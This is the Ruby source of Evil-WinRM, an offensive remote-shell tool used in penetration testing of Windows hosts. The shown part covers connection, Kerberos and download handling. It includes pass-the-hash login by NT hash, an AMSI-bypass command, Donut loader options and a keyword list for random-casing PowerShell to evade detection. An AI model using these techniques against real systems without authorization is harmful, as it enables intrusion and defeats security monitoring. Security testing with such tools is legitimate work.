mirror of
https://github.com/Hackplayers/evil-winrm
synced 2026-06-08 11:12:45 +00:00
OscarAkaElvis
1898 lines
153 KiB
Ruby
Executable File
1898 lines
153 KiB
Ruby
Executable File
#!/usr/bin/env ruby
|
|
# frozen_string_literal: true
|
|
|
|
# Author: CyberVaca
|
|
# Twitter: https://twitter.com/CyberVaca_
|
|
# Based on the Alamot's original code
|
|
|
|
# Dependencies
|
|
require 'English'
|
|
require 'winrm'
|
|
require 'winrm-fs'
|
|
require 'stringio'
|
|
require 'base64'
|
|
require 'readline'
|
|
require 'optionparser'
|
|
require 'io/console'
|
|
require 'time'
|
|
require 'fileutils'
|
|
require 'logger'
|
|
require 'shellwords'
|
|
|
|
# Constants
|
|
|
|
# Version
|
|
VERSION = '4.1'
|
|
|
|
# Msg types
|
|
TYPE_INFO = 0
|
|
TYPE_ERROR = 1
|
|
TYPE_WARNING = 2
|
|
TYPE_DATA = 3
|
|
TYPE_SUCCESS = 4
|
|
|
|
# Global vars
|
|
|
|
# Available commands
|
|
$LIST = %w[Bypass-4MSI services upload download clear cls menu exit]
|
|
$COMMANDS = $LIST.dup
|
|
$CMDS = $COMMANDS.clone
|
|
$LISTASSEM = [''].sort
|
|
$DONUTPARAM1 = ['-process_id']
|
|
$DONUTPARAM2 = ['-donutfile']
|
|
|
|
# menu and show-global-methods commands
|
|
$MENU_CMD = ""
|
|
$SHOW_GLOBAL_METHODS_CMD = ""
|
|
|
|
$WORDS_RANDOM_CASE = [
|
|
'[Runtime.InteropServices.Marshal]',
|
|
'System.Runtime.InteropServices.Marshal',
|
|
'System.Reflection.Emit.AssemblyBuilderAccess',
|
|
'System.Reflection.CallingConventions',
|
|
'System.Reflection.AssemblyName',
|
|
'System.MulticastDelegate',
|
|
'GetDelegateForFunctionPointer',
|
|
'Import-PowerShellDataFile',
|
|
'ImportSystemModules',
|
|
'New-TemporaryFile',
|
|
'.MakeByRefType',
|
|
'.CreateType',
|
|
'.DefineConstructor',
|
|
'.DefineMethod',
|
|
'.DefineDynamicModule',
|
|
'function ',
|
|
'WriteByte',
|
|
'[Ref]',
|
|
'Assembly.GetType',
|
|
'GetField',
|
|
'[System.Net.WebUtility]',
|
|
'HtmlDecode',
|
|
'Reflection.BindingFlags',
|
|
'NonPublic',
|
|
'Static',
|
|
'GetValue',
|
|
'ForEach-Object',
|
|
'Where-Object',
|
|
'Select-Object',
|
|
'.name',
|
|
'showmethods',
|
|
'function:',
|
|
'.CommandType',
|
|
'-contains',
|
|
'-notmatch',
|
|
'-like',
|
|
'-notlike',
|
|
'-notcontains',
|
|
'-and',
|
|
'ls ',
|
|
'$global',
|
|
'-Property'
|
|
]
|
|
|
|
# Colors and path completion
|
|
$colors_enabled = true
|
|
$check_rpath_completion = true
|
|
|
|
# Flush stdout after each write
|
|
$stdout.sync = true
|
|
|
|
# Path for ps1 scripts and exec files
|
|
$scripts_path = ''
|
|
$executables_path = ''
|
|
|
|
# Connection vars initialization
|
|
$host = ''
|
|
$port = '5985'
|
|
$user = ''
|
|
$password = ''
|
|
$url = 'wsman'
|
|
$default_service = 'HTTP'
|
|
$full_logging_path = "#{Dir.home}/evil-winrm-logs"
|
|
$user_agent = "Microsoft WinRM Client"
|
|
$ccache_file = nil
|
|
$original_krb5ccname = nil
|
|
$kerberos_cleanup_registered = false
|
|
|
|
# Redefine download method from winrm-fs
|
|
module WinRM
|
|
module FS
|
|
class FileManager
|
|
def download(remote_path, local_path, chunk_size = 1024 * 1024, first = true, size: -1)
|
|
@logger.debug("downloading: #{remote_path} -> #{local_path} #{chunk_size}")
|
|
index = 0
|
|
return download_dir(remote_path, local_path, chunk_size, false) if remote_path.match?(/(\*\.?|\*\*|\.?\*|\*)/)
|
|
output = _output_from_file(remote_path, chunk_size, index)
|
|
return download_dir(remote_path, local_path, chunk_size, true) if output.exitcode == 2
|
|
return false if output.exitcode >= 1
|
|
|
|
File.open(local_path, 'wb') do |fd|
|
|
begin
|
|
out = _write_file(fd, output)
|
|
index += out.length
|
|
until out.empty?
|
|
yield index, size if size != -1
|
|
output = _output_from_file(remote_path, chunk_size, index)
|
|
return false if output.exitcode >= 1
|
|
|
|
out = _write_file(fd, output)
|
|
index += out.length
|
|
end
|
|
rescue EstandardError => err
|
|
@logger.debug("IO Failed: " + err.to_s)
|
|
raise
|
|
end
|
|
end
|
|
end
|
|
|
|
def download_dir(remote_path, local_path, chunk_size, first)
|
|
index_exp = remote_path.index(/(\*\.?|\*\*|\.?\*|\*)/) || 0
|
|
remote_file_path = remote_path
|
|
|
|
if index_exp > 0
|
|
index_last_folder = remote_file_path.rindex(/[\\\/]/, index_exp)
|
|
remote_file_path = remote_file_path[0..index_last_folder-1]
|
|
end
|
|
|
|
FileUtils.mkdir_p(local_path) unless File.directory?(local_path)
|
|
command = "Get-ChildItem #{remote_path} | Select-Object Name"
|
|
|
|
@connection.shell(:powershell) { |e| e.run(command) }.stdout.strip.split(/\n/).drop(2).each do |file|
|
|
sanitized_path = File.basename(file.strip)
|
|
next if sanitized_path.empty? || sanitized_path == '.' || sanitized_path == '..'
|
|
|
|
download(File.join(remote_file_path.to_s, file.strip), File.join(local_path, sanitized_path), chunk_size, false)
|
|
end
|
|
end
|
|
|
|
true
|
|
end
|
|
end
|
|
end
|
|
|
|
# Class creation
|
|
class EvilWinRM
|
|
# Initialization
|
|
def initialize
|
|
@psLoaded = false
|
|
@directories = {}
|
|
@cache_ttl = 10
|
|
@executables = []
|
|
@functions = []
|
|
@Bypass_4MSI_loaded = false
|
|
end
|
|
|
|
# Remote path completion compatibility check
|
|
def completion_check
|
|
if $check_rpath_completion == true
|
|
begin
|
|
Readline.quoting_detection_proc
|
|
@completion_enabled = true
|
|
rescue NotImplementedError, NoMethodError => e
|
|
@completion_enabled = false
|
|
print_message("Remote path completions is disabled due to ruby limitation: #{e}", TYPE_WARNING)
|
|
print_message('For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion', TYPE_DATA)
|
|
end
|
|
else
|
|
@completion_enabled = false
|
|
print_message('Remote path completion is disabled', TYPE_WARNING)
|
|
end
|
|
end
|
|
|
|
# Arguments
|
|
def arguments
|
|
options = { port: $port, url: $url, service: $service, user_agent: $user_agent }
|
|
optparse = OptionParser.new do |opts|
|
|
opts.banner = 'Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l]'
|
|
opts.on('-S', '--ssl', 'Enable ssl') do |_val|
|
|
$ssl = true
|
|
options[:port] = '5986'
|
|
end
|
|
opts.on('-c', '--pub-key PUBLIC_KEY_PATH', 'Local path to public key certificate') do |val|
|
|
options[:pub_key] = val
|
|
end
|
|
opts.on('-k', '--priv-key PRIVATE_KEY_PATH', 'Local path to private key certificate') do |val|
|
|
options[:priv_key] = val
|
|
end
|
|
opts.on('-r', '--realm DOMAIN',
|
|
'Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }') do |val|
|
|
options[:realm] = val.upcase
|
|
end
|
|
opts.on('-s', '--scripts PS_SCRIPTS_PATH', 'Powershell scripts local path') do |val|
|
|
options[:scripts] = val
|
|
end
|
|
opts.on('--spn SPN_PREFIX', 'SPN prefix for Kerberos auth (default HTTP)') { |val| options[:service] = val }
|
|
opts.on('-K', '--ccache TICKET_FILE', 'Path to Kerberos ticket file (ccache or kirbi format, auto-detected)') { |val| options[:ccache] = val }
|
|
opts.on('-e', '--executables EXES_PATH', 'C# executables local path') { |val| options[:executables] = val }
|
|
opts.on('-i', '--ip IP', 'Remote host IP or hostname. FQDN for Kerberos auth (required)') do |val|
|
|
options[:ip] = val
|
|
end
|
|
opts.on('-U', '--url URL', 'Remote url endpoint (default /wsman)') { |val| options[:url] = val }
|
|
opts.on('-u', '--user USER', 'Username (required if not using kerberos)') { |val| options[:user] = val }
|
|
opts.on('-p', '--password PASS', 'Password') { |val| options[:password] = val }
|
|
opts.on('-H', '--hash HASH', 'NTHash') do |val|
|
|
if !options[:password].nil? && !val.nil?
|
|
print_header
|
|
print_message('You must choose either password or hash auth. Both at the same time are not allowed', TYPE_ERROR)
|
|
custom_exit(1, false)
|
|
end
|
|
unless val.match(/^[a-fA-F0-9]{32}$/)
|
|
print_header
|
|
print_message('Invalid hash format', TYPE_ERROR)
|
|
custom_exit(1, false)
|
|
end
|
|
options[:password] = "00000000000000000000000000000000:#{val}"
|
|
end
|
|
opts.on('-P', '--port PORT', 'Remote host port (default 5985)') { |val| options[:port] = val }
|
|
opts.on('-a', '--user-agent USERAGENT', 'Specify connection user-agent (default Microsoft WinRM Client)') do |val|
|
|
options[:user_agent] = val
|
|
end
|
|
opts.on('-V', '--version', 'Show version') do |_val|
|
|
puts("v#{VERSION}")
|
|
custom_exit(0, false)
|
|
end
|
|
opts.on('-n', '--no-colors', 'Disable colors') do |_val|
|
|
$colors_enabled = false
|
|
end
|
|
opts.on('-N', '--no-rpath-completion', 'Disable remote path completion') do |_val|
|
|
$check_rpath_completion = false
|
|
end
|
|
opts.on('-l', '--log', 'Log the WinRM session') do |_val|
|
|
$log = true
|
|
$filepath = ''
|
|
$logfile = ''
|
|
$logger = ''
|
|
end
|
|
opts.on('-h', '--help', 'Display this help message') do
|
|
print_header
|
|
puts
|
|
puts(opts)
|
|
custom_exit(0, false)
|
|
end
|
|
end
|
|
|
|
begin
|
|
optparse.parse!
|
|
mandatory = if options[:realm].nil? && options[:priv_key].nil? && options[:pub_key].nil?
|
|
%i[ip user]
|
|
else
|
|
[:ip]
|
|
end
|
|
missing = mandatory.select { |param| options[param].nil? }
|
|
raise OptionParser::MissingArgument, missing.join(', ') unless missing.empty?
|
|
rescue OptionParser::InvalidOption, OptionParser::MissingArgument
|
|
print_header
|
|
print_message($ERROR_INFO.to_s, TYPE_ERROR, true, $logger)
|
|
puts
|
|
puts(optparse)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
if options[:password].nil? && options[:realm].nil? && options[:priv_key].nil? && options[:pub_key].nil?
|
|
options[:password] = $stdin.getpass(prompt = 'Enter Password: ')
|
|
end
|
|
|
|
$host = options[:ip]
|
|
$user = options[:user]
|
|
$password = options[:password]
|
|
$port = options[:port]
|
|
$scripts_path = options[:scripts]
|
|
$executables_path = options[:executables]
|
|
$url = options[:url]
|
|
$pub_key = options[:pub_key]
|
|
$priv_key = options[:priv_key]
|
|
$realm = options[:realm]
|
|
$service = options[:service]
|
|
$user_agent = options[:user_agent]
|
|
$ccache_file = options[:ccache]
|
|
unless $log.nil?
|
|
|
|
FileUtils.mkdir_p $full_logging_path
|
|
|
|
FileUtils.mkdir_p "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}"
|
|
|
|
FileUtils.mkdir_p "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}/#{$host}"
|
|
|
|
$filepath = "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}/#{$host}/#{Time.now.strftime('%H%M%S')}"
|
|
$logger = Logger.new($filepath)
|
|
$logger.formatter = proc do |_severity, datetime, _progname, msg|
|
|
"#{datetime}: #{msg}\n"
|
|
end
|
|
end
|
|
return if $realm.nil?
|
|
return unless $service.nil?
|
|
|
|
$service = $default_service
|
|
end
|
|
|
|
# Print script header
|
|
def print_header
|
|
print_message("Evil-WinRM shell v#{VERSION}", TYPE_INFO, false)
|
|
end
|
|
|
|
# Generate connection object
|
|
def connection_initialization
|
|
# If using Kerberos and host is an IP, ask user if they want to resolve it to FQDN
|
|
if (!$ccache_file.nil? || !$realm.nil?) && is_ip_address?($host)
|
|
puts
|
|
print_message("IP address detected (#{$host}). Kerberos requires FQDN. Do you want to attempt reverse DNS lookup?", TYPE_WARNING, true, $logger)
|
|
print_message('Press "y" to attempt DNS resolution, press any other key to cancel', TYPE_WARNING, true, $logger)
|
|
response = $stdin.getch.downcase
|
|
puts
|
|
|
|
if response == 'y'
|
|
print_message("Attempting reverse DNS lookup to get FQDN for Kerberos...", TYPE_INFO, true, $logger)
|
|
fqdn = resolve_ip_to_fqdn($host, $realm)
|
|
if fqdn
|
|
print_message("[+] Resolved IP #{$host} to FQDN: #{fqdn}", TYPE_SUCCESS, true, $logger)
|
|
$host = fqdn
|
|
else
|
|
print_message("Could not resolve IP #{$host} to FQDN.", TYPE_ERROR, true, $logger)
|
|
print_message("When using Kerberos tickets, you must provide an FQDN instead of an IP address.", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
else
|
|
print_message("DNS resolution cancelled by user.", TYPE_ERROR, true, $logger)
|
|
print_message("When using Kerberos tickets, you must provide an FQDN instead of an IP address.", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
end
|
|
|
|
# Configure Kerberos ticket file if provided (supports both ccache and kirbi)
|
|
if !$ccache_file.nil?
|
|
expanded_path = File.expand_path($ccache_file)
|
|
|
|
unless File.exist?(expanded_path)
|
|
print_message("Kerberos ticket file not found: #{expanded_path}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
unless File.readable?(expanded_path)
|
|
print_message("Kerberos ticket file is not readable: #{expanded_path}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
# Check if file is not empty
|
|
if File.size(expanded_path) == 0
|
|
print_message("Kerberos ticket file is empty: #{expanded_path}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
# Detect ticket type
|
|
ticket_type = detect_ticket_type(expanded_path)
|
|
|
|
# Convert kirbi to ccache if needed
|
|
if ticket_type == :kirbi
|
|
ccache_path = convert_kirbi_to_ccache(expanded_path)
|
|
ticket_type_name = "kirbi"
|
|
else
|
|
# Already ccache format
|
|
ccache_path = expanded_path
|
|
ticket_type_name = "ccache"
|
|
end
|
|
|
|
# Only modify ENV if it's not already set to avoid memory issues
|
|
# If user has already set KRB5CCNAME, we'll use that instead
|
|
if ENV['KRB5CCNAME'].nil? || ENV['KRB5CCNAME'].empty?
|
|
# Save original (nil) value
|
|
$original_krb5ccname = ENV['KRB5CCNAME']
|
|
# Set KRB5CCNAME environment variable
|
|
ENV['KRB5CCNAME'] = ccache_path
|
|
print_message("Using #{ticket_type_name} Kerberos ticket file: #{expanded_path}", TYPE_INFO, true, $logger)
|
|
else
|
|
# User already has KRB5CCNAME set, save original and warn them
|
|
$original_krb5ccname = ENV['KRB5CCNAME']
|
|
print_message("KRB5CCNAME is already set to: #{ENV['KRB5CCNAME']}. Using existing value instead of #{expanded_path}", TYPE_WARNING, true, $logger)
|
|
end
|
|
|
|
# Register at_exit handler to clean up KRB5CCNAME before any automatic cleanup
|
|
# This prevents malloc errors when the process exits (especially when shell is idle)
|
|
unless $kerberos_cleanup_registered
|
|
at_exit do
|
|
begin
|
|
if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
|
|
ENV['KRB5CCNAME'] = $original_krb5ccname
|
|
elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
|
|
# Only delete if we set it (if original was nil)
|
|
ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
|
|
end
|
|
rescue => e
|
|
# Ignore errors during cleanup
|
|
end
|
|
end
|
|
$kerberos_cleanup_registered = true
|
|
end
|
|
end
|
|
|
|
if $ssl
|
|
$conn = if $pub_key && $priv_key
|
|
WinRM::Connection.new(
|
|
endpoint: "https://#{$host}:#{$port}/#{$url}",
|
|
user: $user,
|
|
password: $password,
|
|
no_ssl_peer_verification: true,
|
|
transport: :ssl,
|
|
client_cert: $pub_key,
|
|
client_key: $priv_key,
|
|
user_agent: $user_agent
|
|
)
|
|
elsif !$realm.nil?
|
|
WinRM::Connection.new(
|
|
endpoint: "https://#{$host}:#{$port}/#{$url}",
|
|
user: '',
|
|
password: '',
|
|
transport: :kerberos,
|
|
realm: $realm,
|
|
no_ssl_peer_verification: true,
|
|
user_agent: $user_agent
|
|
)
|
|
else
|
|
WinRM::Connection.new(
|
|
endpoint: "https://#{$host}:#{$port}/#{$url}",
|
|
user: $user,
|
|
password: $password,
|
|
no_ssl_peer_verification: true,
|
|
transport: :ssl,
|
|
user_agent: $user_agent
|
|
)
|
|
end
|
|
|
|
elsif !$realm.nil?
|
|
$conn = WinRM::Connection.new(
|
|
endpoint: "http://#{$host}:#{$port}/#{$url}",
|
|
user: '',
|
|
password: '',
|
|
transport: :kerberos,
|
|
realm: $realm,
|
|
service: $service,
|
|
user_agent: $user_agent
|
|
)
|
|
else
|
|
$conn = WinRM::Connection.new(
|
|
endpoint: "http://#{$host}:#{$port}/#{$url}",
|
|
user: $user,
|
|
password: $password,
|
|
no_ssl_peer_verification: true,
|
|
user_agent: $user_agent
|
|
)
|
|
end
|
|
end
|
|
|
|
# Detect if a docker environment
|
|
def docker_detection
|
|
return true if File.exist?('/.dockerenv')
|
|
|
|
false
|
|
end
|
|
|
|
# Define colors
|
|
def colorize(text, color = 'default')
|
|
colors = { 'default' => '38', 'blue' => '34', 'red' => '31', 'yellow' => '1;33', 'magenta' => '35',
|
|
'green' => '1;32' }
|
|
color_code = colors[color]
|
|
"\001\033[0;#{color_code}m\002#{text}\001\033[0m\002"
|
|
end
|
|
|
|
# Messsage printing
|
|
def print_message(msg, msg_type=TYPE_INFO, prefix_print=true, log=nil)
|
|
if msg_type == TYPE_INFO then
|
|
msg_prefix = "Info: "
|
|
color = "blue"
|
|
elsif msg_type == TYPE_WARNING then
|
|
msg_prefix = "Warning: "
|
|
color = "yellow"
|
|
elsif msg_type == TYPE_ERROR then
|
|
msg_prefix = "Error: "
|
|
color = "red"
|
|
elsif msg_type == TYPE_DATA then
|
|
msg_prefix = "Data: "
|
|
color = 'magenta'
|
|
elsif msg_type == TYPE_SUCCESS then
|
|
color = 'green'
|
|
else
|
|
msg_prefix = ""
|
|
color = "default"
|
|
end
|
|
|
|
if !prefix_print then
|
|
msg_prefix = ""
|
|
end
|
|
|
|
puts(' ')
|
|
|
|
if $colors_enabled then
|
|
puts(self.colorize("#{msg_prefix}#{msg}", color))
|
|
else
|
|
puts("#{msg_prefix}#{msg}")
|
|
end
|
|
|
|
if !log.nil?
|
|
log.info("#{msg_prefix}#{msg}")
|
|
end
|
|
end
|
|
|
|
# SSL validation
|
|
def check_ssl(pub_key, priv_key)
|
|
pub_key = pub_key.to_s
|
|
priv_key = priv_key.to_s
|
|
if $ssl
|
|
unless pub_key.empty? && priv_key.empty? then
|
|
unless [pub_key, priv_key].all? {|f| File.exist?(f) } then
|
|
print_message("Path to provided public certificate file \"#{pub_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) unless File.exist?(pub_key)
|
|
|
|
print_message("Path to provided private certificate file \"#{priv_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) unless File.exist?(priv_key)
|
|
|
|
custom_exit(1)
|
|
end
|
|
end
|
|
print_message('SSL enabled', TYPE_WARNING)
|
|
else
|
|
print_message("Useless cert/s provided, SSL is not enabled", TYPE_WARNING, true, $logger) unless pub_key.empty? && priv_key.empty?
|
|
end
|
|
end
|
|
|
|
# Directories validation
|
|
def check_directories(path, purpose)
|
|
if path == ''
|
|
print_message("The directory used for #{purpose} can't be empty. Please set a path", TYPE_ERROR, true, $logger)
|
|
custom_exit(1)
|
|
end
|
|
|
|
if !(/cygwin|mswin|mingw|bccwin|wince|emx/ =~ RUBY_PLATFORM).nil?
|
|
# Windows
|
|
path.concat('\\') if path[-1] != '\\'
|
|
elsif path[-1] != '/'
|
|
# Unix
|
|
path.concat('/')
|
|
end
|
|
|
|
unless File.directory?(path)
|
|
print_message("The directory \"#{path}\" used for #{purpose} was not found", TYPE_ERROR, true, $logger)
|
|
custom_exit(1)
|
|
end
|
|
|
|
case purpose
|
|
when 'scripts'
|
|
$scripts_path = path
|
|
when 'executables'
|
|
$executables_path = path
|
|
end
|
|
end
|
|
|
|
# Silent warnings
|
|
def silent_warnings
|
|
old_stderr = $stderr
|
|
$stderr = StringIO.new
|
|
yield
|
|
ensure
|
|
$stderr = old_stderr
|
|
end
|
|
|
|
# Read powershell script files
|
|
def read_scripts(scripts)
|
|
files = Dir.entries(scripts).select { |f| File.file? File.join(scripts, f) } || []
|
|
files.grep(/^*\.(ps1|psd1|psm1)$/)
|
|
end
|
|
|
|
# Read executable files
|
|
def read_executables(executables)
|
|
Dir.glob("#{executables}*.exe", File::FNM_DOTMATCH)
|
|
end
|
|
|
|
# Read local files and directories names
|
|
def paths(a_path)
|
|
parts = get_dir_parts(a_path)
|
|
my_dir = parts[0]
|
|
grep_for = parts[1]
|
|
|
|
my_dir = File.expand_path(my_dir)
|
|
my_dir += '/' unless my_dir[-1] == '/'
|
|
|
|
files = Dir.glob("#{my_dir}*", File::FNM_DOTMATCH)
|
|
directories = Dir.glob("#{my_dir}*").select { |f| File.directory? f }
|
|
|
|
result = (files + directories) || []
|
|
|
|
result.grep(/^#{Regexp.escape(my_dir)}#{grep_for}/i).uniq
|
|
end
|
|
|
|
# Custom exit
|
|
def custom_exit(exit_code = 0, message_print = true)
|
|
if message_print
|
|
case exit_code
|
|
when 0
|
|
print_message("Exiting with code #{exit_code}", TYPE_INFO, true, $logger)
|
|
when 1
|
|
print_message("Exiting with code #{exit_code}", TYPE_ERROR, true, $logger)
|
|
when 130
|
|
print_message('Exiting...', TYPE_INFO, true, $logger)
|
|
else
|
|
print_message("Exiting with code #{exit_code}", TYPE_ERROR, true, $logger)
|
|
end
|
|
end
|
|
|
|
# Restore KRB5CCNAME environment variable before exiting to avoid memory issues
|
|
begin
|
|
if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
|
|
ENV['KRB5CCNAME'] = $original_krb5ccname
|
|
elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
|
|
# Only delete if we set it (if original was nil)
|
|
ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
|
|
end
|
|
rescue => e
|
|
# Ignore errors during cleanup
|
|
end
|
|
|
|
# Close connection explicitly before exiting to avoid memory issues with Kerberos
|
|
begin
|
|
if defined?($conn) && !$conn.nil?
|
|
# Try to close the connection gracefully
|
|
$conn = nil
|
|
end
|
|
rescue => e
|
|
# Ignore errors during cleanup
|
|
end
|
|
|
|
# Use exit! to bypass at_exit handlers that might cause memory issues
|
|
# This prevents the malloc error when using Kerberos
|
|
exit!(exit_code)
|
|
end
|
|
|
|
# Progress bar
|
|
def progress_bar(bytes_done, total_bytes)
|
|
progress = ((bytes_done.to_f / total_bytes) * 100).round
|
|
progress_bar = (progress / 10).round
|
|
progress_string = '▓' * (progress_bar - 1).clamp(0, 9)
|
|
progress_string = "#{progress_string}▒#{'░' * (10 - progress_bar)}"
|
|
message = "Progress: #{progress}% : |#{progress_string}| \r"
|
|
$stdout.print message
|
|
end
|
|
|
|
# Get filesize
|
|
def filesize(shell, path)
|
|
shell.run("(get-item '#{path}').length").output.strip.to_i
|
|
end
|
|
|
|
# Clear screen
|
|
def clear_screen
|
|
system('clear') || system('cls') || puts("\033[2J\033[H")
|
|
end
|
|
|
|
# Get history file path based on host and user
|
|
def get_history_file_path
|
|
history_dir = File.join(Dir.home, '.evil-winrm', 'history')
|
|
FileUtils.mkdir_p(history_dir) unless Dir.exist?(history_dir)
|
|
|
|
# Create a safe filename from host and user
|
|
safe_host = ($host || 'unknown').gsub(/[^a-zA-Z0-9._-]/, '_')
|
|
safe_user = ($user || 'unknown').gsub(/[^a-zA-Z0-9._-]/, '_')
|
|
history_filename = "#{safe_host}_#{safe_user}.hist"
|
|
|
|
File.join(history_dir, history_filename)
|
|
end
|
|
|
|
# Load history from file
|
|
def load_history
|
|
history_file = get_history_file_path
|
|
return unless File.exist?(history_file)
|
|
|
|
begin
|
|
File.readlines(history_file).each do |line|
|
|
line = line.chomp
|
|
Readline::HISTORY.push(line) unless line.empty?
|
|
end
|
|
rescue => e
|
|
# Silently fail if history can't be loaded
|
|
end
|
|
end
|
|
|
|
# Save command to history file
|
|
def save_to_history(command)
|
|
return if command.nil? || command.strip.empty? || command.strip == 'exit'
|
|
|
|
history_file = get_history_file_path
|
|
begin
|
|
File.open(history_file, 'a') do |f|
|
|
f.puts(command)
|
|
end
|
|
rescue => e
|
|
# Silently fail if history can't be saved
|
|
end
|
|
end
|
|
|
|
# Resolve IP address to FQDN using reverse DNS lookup
|
|
# Returns the best FQDN when multiple PTR records exist (prioritizes server FQDN over domain name)
|
|
# If only domain is found, attempts to construct and verify server FQDN using forward DNS
|
|
# Also checks /etc/hosts for manual entries
|
|
def resolve_ip_to_fqdn(ip_address, realm = nil)
|
|
require 'socket'
|
|
require 'resolv'
|
|
begin
|
|
resolver = Resolv::DNS.new
|
|
hostnames = []
|
|
|
|
# Step 0: Check /etc/hosts for manual entries (highest priority)
|
|
if File.exist?('/etc/hosts') && File.readable?('/etc/hosts')
|
|
begin
|
|
File.readlines('/etc/hosts').each do |line|
|
|
# Skip comments and empty lines
|
|
next if line.strip.empty? || line.strip.start_with?('#')
|
|
|
|
# Parse line: IP hostname1 hostname2 ...
|
|
parts = line.split
|
|
next if parts.empty?
|
|
|
|
# Check if first part matches our IP
|
|
if parts[0] == ip_address
|
|
# Add all hostnames from this line
|
|
parts[1..-1].each do |hostname|
|
|
# Only consider FQDNs (contain at least one dot)
|
|
if hostname && hostname.include?('.')
|
|
hostnames << hostname unless hostnames.include?(hostname)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
if !hostnames.empty?
|
|
print_message("Found FQDN(s) in /etc/hosts: #{hostnames.join(', ')}", TYPE_INFO, true, $logger)
|
|
end
|
|
rescue => e
|
|
# If we can't read /etc/hosts, continue with DNS lookup
|
|
end
|
|
end
|
|
|
|
# Step 1: Get all PTR records (reverse DNS)
|
|
begin
|
|
ptr_name = Resolv::IPv4.create(ip_address).to_name
|
|
ptr_records = resolver.getresources(ptr_name, Resolv::DNS::Resource::IN::PTR)
|
|
|
|
ptr_records.each do |ptr|
|
|
hostname = ptr.name.to_s
|
|
if hostname && hostname.include?('.')
|
|
hostnames << hostname unless hostnames.include?(hostname)
|
|
end
|
|
end
|
|
rescue Resolv::ResolvError, Resolv::ResolvTimeout
|
|
# If Resolv::DNS fails, try Resolv.getname as fallback
|
|
begin
|
|
hostname = Resolv.getname(ip_address)
|
|
if hostname && hostname.include?('.')
|
|
hostnames << hostname unless hostnames.include?(hostname)
|
|
end
|
|
rescue Resolv::ResolvError
|
|
# Continue to Socket fallback
|
|
end
|
|
end
|
|
|
|
# If no results from Resolv, try Socket.getnameinfo
|
|
if hostnames.empty?
|
|
begin
|
|
hostname = Socket.getnameinfo([Socket::AF_INET, nil, ip_address], Socket::NI_NAMEREQD)[0]
|
|
if hostname && hostname.include?('.')
|
|
hostnames << hostname unless hostnames.include?(hostname)
|
|
end
|
|
rescue SocketError
|
|
# All methods failed
|
|
end
|
|
end
|
|
|
|
# Step 2: If we only got the domain name, try to find the server FQDN
|
|
# Remove duplicates before checking
|
|
hostnames.uniq!
|
|
|
|
# Only do this if we don't already have a server FQDN (3+ parts) from /etc/hosts or DNS
|
|
has_server_fqdn = hostnames.any? { |h| h.split('.').length >= 3 }
|
|
domain_only = hostnames.find { |h| h.split('.').length == 2 }
|
|
|
|
# Only attempt forward DNS lookup if:
|
|
# 1. We don't already have a server FQDN
|
|
# 2. We have a domain-only result
|
|
# 3. We have a realm to work with
|
|
if !has_server_fqdn && domain_only && realm
|
|
# Try common DC hostname patterns
|
|
domain = domain_only.downcase
|
|
realm_domain = realm.downcase
|
|
|
|
# Common DC naming patterns
|
|
candidates = [
|
|
"dc01.#{domain}",
|
|
"dc1.#{domain}",
|
|
"dc.#{domain}",
|
|
"dc01.#{realm_domain}",
|
|
"dc1.#{realm_domain}",
|
|
"dc.#{realm_domain}",
|
|
"ad.#{domain}",
|
|
"ad.#{realm_domain}",
|
|
"ad01.#{domain}",
|
|
"ad01.#{realm_domain}"
|
|
]
|
|
|
|
# Remove duplicates from candidates (in case we already have it)
|
|
candidates.reject! { |c| hostnames.include?(c) }
|
|
|
|
# Verify each candidate with forward DNS lookup
|
|
candidates.each do |candidate|
|
|
begin
|
|
addresses = resolver.getaddresses(candidate)
|
|
# Check if any of the resolved addresses match our IP
|
|
if addresses.any? { |addr| addr.to_s == ip_address }
|
|
hostnames << candidate unless hostnames.include?(candidate)
|
|
print_message("Found server FQDN via forward DNS lookup: #{candidate}", TYPE_INFO, true, $logger)
|
|
# Stop after finding first valid server FQDN
|
|
break
|
|
end
|
|
rescue Resolv::ResolvError
|
|
# This candidate doesn't resolve, skip it
|
|
end
|
|
end
|
|
end
|
|
|
|
return nil if hostnames.empty?
|
|
|
|
# Step 3: Select the best FQDN
|
|
# If we have multiple results, prioritize the server FQDN over domain name
|
|
if hostnames.length > 1
|
|
# Sort by: more dots first, then by length (longer = more specific)
|
|
sorted = hostnames.sort_by { |h| [-h.count('.'), -h.length] }
|
|
|
|
# Prefer hostnames that look like server names (have a hostname prefix before the domain)
|
|
# e.g., "dc01.futuristic.tech" over "futuristic.tech"
|
|
best = sorted.find { |h| h.split('.').length >= 3 } || sorted.first
|
|
|
|
print_message("Multiple DNS names found: #{hostnames.join(', ')}. Selected: #{best}", TYPE_INFO, true, $logger)
|
|
return best
|
|
else
|
|
result = hostnames.first
|
|
# If we only have domain, warn the user
|
|
if result.split('.').length == 2
|
|
print_message("Only domain name found (#{result}). Server FQDN not detected. Kerberos may still work.", TYPE_WARNING, true, $logger)
|
|
end
|
|
return result
|
|
end
|
|
rescue => e
|
|
# Any other error
|
|
